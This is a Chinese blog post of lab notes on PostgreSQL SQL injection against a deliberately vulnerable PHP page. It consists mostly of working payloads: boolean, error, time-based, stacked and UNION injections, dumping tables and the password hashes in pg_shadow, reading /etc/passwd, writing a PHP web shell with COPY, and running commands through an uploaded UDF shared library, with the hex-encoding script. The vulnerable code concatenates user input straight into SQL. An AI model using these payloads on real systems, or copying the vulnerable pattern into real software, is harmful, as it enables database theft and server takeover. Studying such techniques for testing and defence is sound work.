Postgresql注入笔记

Postgresql注入笔记

一、前期准备

1. 测试环境

192.168.89.146  数据库服务器
    Ubuntu-14.04
    Postgresql-9.6

10.0.1.44       web服务器
    windows server2008
    phpstudy2016
    客户端软件:pgAdmin4

2. 测试数据结构和内容

模式名:public
数据库名称:test
数据表名称:tbuser
数据内容和结构参考下图

3. 调用postgresql数据的php代码

<?php
header("Content-type: text/html; charset=utf-8"); 
//echo'please add "?uid="';
$id = $_GET['uid'];

$host        = "host=192.168.89.146";
$port        = "port=5432";
$dbname      = "dbname=test";
$credentials = "user=postgres password=P@ssw0rd";


$db = pg_connect( "$host $port $dbname $credentials"  );
if(!$db){
    echo "Error : Unable to open database\n";
}
$sql = "select * from tbuser where id=$id";
$result =  pg_query($db,$sql);

if ($result){
    while(list($id,$username,$passwd)= pg_fetch_row($result)){
        echo "用户名:" . $username . "<br/>";
        echo "用户密码:" . $passwd . "<br/>";
    }
}

4. 浏览器访问数据

整型参数查询url:http://10.0.1.44/postgreuix/test.php?uid=1
字符串型参数查询url:http://10.0.1.44/postgreuix/str.php?name=admin


二、验证注入点

1. 基于布尔型注入(boolean-based blind)

整型参数
    test.php?uid=1 AND 1=1     运行正常
    test.php?uid=1 AND 1=2     运行异常

字符型参数
    str.php?name=admin' and '1'='1     运行正常
    str.php?name=admin' and '1'='1     运行异常    

2. 基于报错注入(error-based)

参考Sqlmap
    uid=1 AND 7778=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (7778=7778) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(118)||CHR(112)||CHR(106)||CHR(113)) AS NUMERIC)

语法解析:
    cast ('1' as numeric)    1转换为数字类型
    Numeric(10,2)          指字段是数字型,长度为10 小数为两位的 
    1::text                数据类型转换为text类型
    case...when...then...else...end  条件语句
    
获取版本号:
    select * from tbuser  where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)
    
获取Schemas名称
    select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)
    select * from tbuser  where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables where schemaname not in ('public') limit 1)::text AS NUMERIC)

3. 基于时间的盲注(time-based blind)

参考Sqlmap
    ?uid=1 AND 6489=(SELECT 6489 FROM PG_SLEEP(5))
    延时5秒

4. 基于堆叠查询(多语句查询,stacked queries)

参考Sqlmap
    ?uid=1;select PG_SLEEP(5)--
    我觉得此处使用PG_SLEEP(5)是由于无需其他信息即可验证注入点存在,如使用select前需要先知道字段数量

5. 基于联合查询(UNION query)

?uid=1 order by 1,2,3                           运行正常
?uid=1 order by 1,2,3,4                         运行异常,获取字段数3
?uid=1 UNION ALL SELECT NULL,('11111'),NULL--   查看是否输出11111

三、获取数据库结构和内容

此处均基于联合查询

1. 获取模式名称(schemaname)名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables

简化:
    ?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--
    
    语法解析:
    COALESCE(expression[,n])    coalesce函数返回参数(列名)中第一个非NULL值的字段值,注意不是为空''
    cast ('1' as numeric)         1转换为数字类型

简化:
    ?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

用户创建的数据库默认模式名称(schemaname)为public

2. 获取数据表名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(tablename AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_tables WHERE schemaname IN ((CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99)))
    
简化:
    uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')

3. 获取表字段名称

参考Sqlmap
    ?uid=1 UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(attname AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(typname AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname=(CHR(116)||CHR(98)||CHR(117)||CHR(115)||CHR(101)||CHR(114)) AND nspname=(CHR(112)||CHR(117)||CHR(98)||CHR(108)||CHR(105)||CHR(99))--

简化:
    ?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'--

4. 获取表内容

参考Sqlmap
    UNION ALL SELECT NULL,(CHR(113)||CHR(106)||CHR(112)||CHR(113)||CHR(113))||COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32)))||(CHR(106)||CHR(115)||CHR(97)||CHR(110)||CHR(101)||CHR(117))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||(CHR(113)||CHR(120)||CHR(113)||CHR(122)||CHR(113)),NULL FROM public.tbuser--

简化:
    ?uid=1 UNION ALL SELECT NULL,COALESCE(CAST(id AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(username AS CHARACTER(10000)),(CHR(32)))||COALESCE(CAST(passwd AS CHARACTER(10000)),(CHR(32))),NULL FROM public.tbuser--

简化整理:
    ?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--

三、文件或目录操作

1. PostgreSQL中部分内置函数、表

Item Value
获取数据库类型及版本 ?uid=1 UNION SELECT NULL,version(),NULL
目前执行环境中的用户名 ?uid=1 union ALL select NULL,current_user,NULL
当前数据库名字 ?uid=1 union ALL select NULL,current_database() ,NULL
此表包含数据库用户的信息 ?uid=1 UNION SELECT NULL,usename,passwd from pg_shadow
postgresql安装目录 ?uid=1 union SELECT NULL,setting,NULL FROM pg_settings WHERE name='data_directory'

参考:http://www.php100.com/manual/PostgreSQL8/functions-info.html

2. 列目录——只能列安装目录下的文件

?uid=1 union select NULL,NULL,pg_ls_dir('./')

只显示目录名
?uid=1 and 1=2 union select NULL,NULL,pg_ls_dir('./')            

3. 读文件

?uid=1;CREATE TABLE passwd(t TEXT);COPY passwd FROM '/etc/passwd';SELECT NULL,t,NULL FROM passwd;

简化:
?uid=1;
CREATE TABLE passwd(t TEXT);
COPY passwd FROM '/etc/passwd';
SELECT NULL,t,NULL FROM passwd;

4. 写文件

?uid=1;DROP TABLE hacktb;CREATE TABLE hacktb (t TEXT);INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');COPY hacktb(t) TO '/tmp/hack.php';

简化:
?uid=1;
DROP TABLE hacktb;
CREATE TABLE hacktb (t TEXT);
INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');
COPY hacktb(t) TO '/tmp/hack.php';

四、命令执行

1. 下载编译sqlmap工程提供的udf源码

获取源码
>git clone https://github.com/sqlmapproject/udfhack/

编译源码(数据库版本:9.6)
> cd udfhack/linux/64/lib_postgresqludf_sys
> apt-get install postgresql-server-dev-9.6
> gcc -Wall -I/usr/include/postgresql/9.6/server/ -Os -shared lib_postgresqludf_sys.c -fPIC -o udf64.so
> strip -sx udf64.so

2. 利用python脚本对生成的so文件编码,并切割成每段小于2k的片段

#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "Usage:python " + sys.argv[0] + "inputfile"
        sys.exit()
    fileobj = open(sys.argv[1],'rb')
    i = 0
    for b in fileobj.read():
        sys.stdout.write(r'{:02x}'.format(ord(b)))
        i = i + 1
        if i % 1023 == 0:
            print "\n"
    fileobj.close()

python hex.py udf64.so

3. 利用 PostgreSQL 的“大对象数据”将so文件写入目标服务器

SELECT lo_create(12345);

INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4602010100000...200', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000000000000000...e36', 'hex'));
INSERT INTO pg_largeobject VALUES (12345, 2, decode('005f6564617461005f5...9e0', 'hex'));
...
INSERT INTO pg_largeobject VALUES (12345, 13, decode('6300746578745f7074...200', 'hex'));

SELECT lo_export(12345, '/var/lib/postgresql/9.6/main/udf.so');

SELECT lo_unlink(12345);

CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS "/var/lib/postgresql/9.6/main/udf.so", "sys_eval" LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

select sys_eval('id');

参考:

  1. https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mid=2247484788&idx=1&sn=8a53b1c64d864cd01bab095d97a17715&chksm=ec1e355cdb69bc4a2535bc1a053bfde3ec1838d03936ba8e44156818e91bbec9b5b04a744005#rd
  2. https://www.secpulse.com/archives/33105.html
  3. http://www.91ri.org/6507.html
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 202,980评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,178评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,868评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,498评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,492评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,521评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,910评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,569评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,793评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,559评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,639评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,342评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,931评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,904评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,144评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,833评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,350评论 2 342

推荐阅读更多精彩内容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,239评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 2,025评论 0 5
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,580评论 18 139
  • About:PostgreSQL About 《PostgreSQL 源码分析系列》 PostgreSQL 源码分...
    ty4z2008阅读 8,157评论 1 40
  • SQLMAP作用 判断可注入的参数 判断可以用哪种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数...
    陆洒脱阅读 3,711评论 1 4